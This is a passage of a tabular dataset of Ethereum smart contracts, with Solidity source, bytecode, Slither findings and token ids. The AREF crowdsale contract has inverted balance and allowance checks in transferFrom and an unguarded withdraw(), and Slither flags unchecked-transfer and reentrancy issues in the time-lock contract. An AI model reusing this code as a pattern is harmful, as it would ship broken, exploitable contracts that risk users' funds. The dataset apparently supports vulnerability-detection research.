Unnamed: 0
int64
0
60k
address
stringlengths
42
42
source_code
stringlengths
52
864k
bytecode
stringlengths
2
49.2k
slither
stringlengths
47
956
success
bool
1 class
error
float64
results
stringlengths
2
911
input_ids
sequencelengths
128
128
attention_mask
sequencelengths
128
128
59,300
0x968775ec97543c27246ff8c24c75ed1c1f571bb1
pragma solidity 0.4.19; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ForeignToken { function balanceOf(address _owner) constant returns (uint256); function transfer(address _to, uint256 _value) returns (bool); } contract AREFTokenAbstract { function unlock(); } contract AREFCrowdsale { using SafeMath for uint256; address owner = msg.sender; bool public purchasingAllowed = false; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalContribution = 0; uint256 public totalBonusTokensIssued = 0; uint public MINfinney = 0; uint public MAXfinney = 10000000; uint public AIRDROPBounce = 0; uint public ICORatio = 8000; uint256 public totalSupply = 0; address constant public AREF = 0xDac0B4794888005b32baD9B7e4f81664512ECA79; address public AREFWallet = 0x04D450C8099EF707E040E057Ee11e561B5c43cFD; uint256 public rate = ICORatio; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function () external payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); if (!purchasingAllowed) { throw; } if (msg.value < 1 finney * MINfinney) { return; } if (msg.value > 1 finney * MAXfinney) { return; } uint256 AREFAmounts = calculateObtained(msg.value); weiRaised = weiRaised.add(msg.value); require(ERC20Basic(AREF).transfer(beneficiary, AREFAmounts)); TokenPurchase(msg.sender, beneficiary, msg.value, AREFAmounts); forwardFunds(); } function forwardFunds() internal { AREFWallet.transfer(msg.value); } function calculateObtained(uint256 amountEtherInWei) public view returns (uint256) { return amountEtherInWei.mul(ICORatio).div(10 ** 12) + AIRDROPBounce * 10 ** 6; } function enablePurchasing() { if (msg.sender != owner) { throw; } purchasingAllowed = true; } function disablePurchasing() { if (msg.sender != owner) { throw; } purchasingAllowed = false; } function changeAREFWallet(address _AREFWallet) public returns (bool) { require (msg.sender == AREFWallet); AREFWallet = _AREFWallet; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function balanceOf(address _owner) constant returns (uint256) { return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success) { if(msg.data.length < (2 * 32) + 4) { throw; } if (_value == 0) { return false; } uint256 fromBalance = balances[msg.sender]; bool sufficientFunds = fromBalance >= _value; bool overflowed = balances[_to] + _value < balances[_to]; if (sufficientFunds && !overflowed) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if(msg.data.length < (3 * 32) + 4) { throw; } if (_value == 0) { return false; } uint256 fromBalance = balances[_from]; uint256 allowance = allowed[_from][msg.sender]; bool sufficientFunds = fromBalance <= _value; bool sufficientAllowance = allowance <= _value; bool overflowed = balances[_to] + _value > balances[_to]; if (sufficientFunds && sufficientAllowance && !overflowed) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function approve(address _spender, uint256 _value) returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256) { return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed burner, uint256 value); function withdrawForeignTokens(address _tokenContract) returns (bool) { if (msg.sender != owner) { throw; } ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } function getStats() constant returns (uint256, uint256, uint256, bool) { return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed); } function setICOPrice(uint _newPrice) { if (msg.sender != owner) { throw; } ICORatio = _newPrice; } function setMINfinney(uint _newPrice) { if (msg.sender != owner) { throw; } MINfinney = _newPrice; } function setMAXfinney(uint _newPrice) { if (msg.sender != owner) { throw; } MAXfinney = _newPrice; } function setAIRDROPBounce(uint _newPrice) { if (msg.sender != owner) { throw; } AIRDROPBounce = _newPrice; } function withdraw() public { uint256 etherBalance = this.balance; owner.transfer(etherBalance); } }
0x60606040526004361061015b5763ffffffff60e060020a600035041663011db570811461016657806308464b681461018e578063095ea7b3146101c15780630dcf4b8f146101e357806318160ddd146101f65780631de95d741461020957806323b872dd1461023857806325b5160c146102605780632c4e722e14610276578063334b8771146102895780633ccfd60b1461029c5780634042b66f146102af5780635602c05f146102c257806364acdb77146102d557806370a08231146102e85780637b7a43eb146103075780638f5809961461031d5780638fdfac6b1461033057806398b01fe3146103465780639a323ac414610359578063a9059cbb1461036c578063c59d48471461038e578063da040c0f146103cd578063dd62ed3e146103e0578063e45285cf14610405578063e58fc54c1461041b578063e6544b871461043a578063ec8ac4d81461044d578063fdee579c14610461575b61016433610474565b005b341561017157600080fd5b61017c6004356105dd565b60405190815260200160405180910390f35b341561019957600080fd5b6101ad600160a060020a0360043516610618565b604051901515815260200160405180910390f35b34156101cc57600080fd5b6101ad600160a060020a0360043516602435610667565b34156101ee57600080fd5b61017c610713565b341561020157600080fd5b61017c610719565b341561021457600080fd5b61021c61071f565b604051600160a060020a03909116815260200160405180910390f35b341561024357600080fd5b6101ad600160a060020a036004358116906024351660443561072e565b341561026b57600080fd5b61016460043561085f565b341561028157600080fd5b61017c61087f565b341561029457600080fd5b61017c610885565b34156102a757600080fd5b61016461088b565b34156102ba57600080fd5b61017c6108c6565b34156102cd57600080fd5b61021c6108cc565b34156102e057600080fd5b6101646108e4565b34156102f357600080fd5b61017c600160a060020a036004351661091f565b341561031257600080fd5b61016460043561093a565b341561032857600080fd5b61016461095a565b341561033b57600080fd5b61016460043561099b565b341561035157600080fd5b61017c6109bb565b341561036457600080fd5b61017c6109c1565b341561037757600080fd5b6101ad600160a060020a03600435166024356109c7565b341561039957600080fd5b6103a1610aa6565b604051938452602084019290925260408084019190915290151560608301526080909101905180910390f35b34156103d857600080fd5b6101ad610ac3565b34156103eb57600080fd5b61017c600160a060020a0360043581169060243516610ad3565b341561041057600080fd5b610164600435610afe565b341561042657600080fd5b6101ad600160a060020a0360043516610b1e565b341561044557600080fd5b61017c610c3b565b610164600160a060020a0360043516610474565b341561046c57600080fd5b61017c610c41565b6000600160a060020a038216151561048b57600080fd5b60005460a060020a900460ff1615156104a357600080fd5b60055466038d7ea4c68000023410156104bb576105d9565b60065466038d7ea4c68000023411156104d3576105d9565b6104dc346105dd565b600c549091506104f2903463ffffffff610c4716565b600c5573dac0b4794888005b32bad9b7e4f81664512eca7963a9059cbb838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561055d57600080fd5b6102c65a03f1151561056e57600080fd5b50505060405180519050151561058357600080fd5b81600160a060020a031633600160a060020a03167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18348460405191825260208201526040908101905180910390a36105d9610c5d565b5050565b6000600754620f42400261061164e8d4a5100061060560085486610c9390919063ffffffff16565b9063ffffffff610cb716565b0192915050565b600a5460009033600160a060020a0390811691161461063657600080fd5b600a805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03939093169290921790915590565b6000811580159061069c5750600160a060020a0333811660009081526002602090815260408083209387168352929052205415155b156106a95750600061070d565b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60035481565b60095481565b600a54600160a060020a031681565b60008080808080606436101561074357600080fd5b8615156107535760009550610853565b50505050600160a060020a03858116600090815260016020818152604080842054600283528185203387168652835281852054958a16855292909152909120549092508483118015918684111591878201919091119083906107b25750815b80156107bc575080155b1561084e57600160a060020a03808916600081815260016020908152604080832080548d0190558d851680845281842080548e9003905560028352818420339096168452949091529081902080548b900390559091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908a905190815260200160405180910390a360019550610853565b600095505b50505050509392505050565b60005433600160a060020a0390811691161461087a57600080fd5b600855565b600b5481565b60075481565b600054600160a060020a0330811631911681156108fc0282604051600060405180830381858888f1935050505015156108c357600080fd5b50565b600c5481565b73dac0b4794888005b32bad9b7e4f81664512eca7981565b60005433600160a060020a039081169116146108ff57600080fd5b6000805474ff000000000000000000000000000000000000000019169055565b600160a060020a031660009081526001602052604090205490565b60005433600160a060020a0390811691161461095557600080fd5b600555565b60005433600160a060020a0390811691161461097557600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a179055565b60005433600160a060020a039081169116146109b657600080fd5b600655565b60045481565b60065481565b600080808060443610156109da57600080fd5b8415156109ea5760009350610a9d565b505050600160a060020a0333811660009081526001602052604080822054928616825290205483821080159180860110908290610a25575080155b15610a9857600160a060020a0333811660008181526001602052604080822080548a9003905592891680825290839020805489019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9088905190815260200160405180910390a360019350610a9d565b600093505b50505092915050565b60035460095460045460005460ff60a060020a9091041690919293565b60005460a060020a900460ff1681565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610b1957600080fd5b600755565b600080548190819033600160a060020a03908116911614610b3e57600080fd5b83915081600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610b9857600080fd5b6102c65a03f11515610ba957600080fd5b505050604051805160008054919350600160a060020a03808616935063a9059cbb92169084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610c1957600080fd5b6102c65a03f11515610c2a57600080fd5b505050604051805195945050505050565b60085481565b60055481565b600082820183811015610c5657fe5b9392505050565b600a54600160a060020a03163480156108fc0290604051600060405180830381858888f193505050501515610c9157600080fd5b565b6000828202831580610caf5750828482811515610cac57fe5b04145b1515610c5657fe5b6000808284811515610cc557fe5b049493505050505600a165627a7a7230582021e595c9230861d145d1c5b3f090e101caa6d0c8f6f0d5eccbd5bf51bd8168280029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2620, 2581, 23352, 8586, 2683, 23352, 23777, 2278, 22907, 18827, 2575, 4246, 2620, 2278, 18827, 2278, 23352, 2098, 2487, 2278, 2487, 2546, 28311, 2487, 10322, 2487, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2539, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,301
0x9687a3675804e7325333ff79780eec818ebff797
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29030400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xb01D9801bED31Ba24F285d225744bC4F54745942 ; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a7230582025ebb47072520183c894738eef87bb19184aefa58dc6135ebe55e425bdbe598c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2581, 2050, 21619, 23352, 17914, 2549, 2063, 2581, 16703, 22275, 22394, 4246, 2581, 2683, 2581, 17914, 4402, 2278, 2620, 15136, 15878, 4246, 2581, 2683, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,302
0x9687eE90A86B0b2E34F4403BD6058d2B2C378248
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient 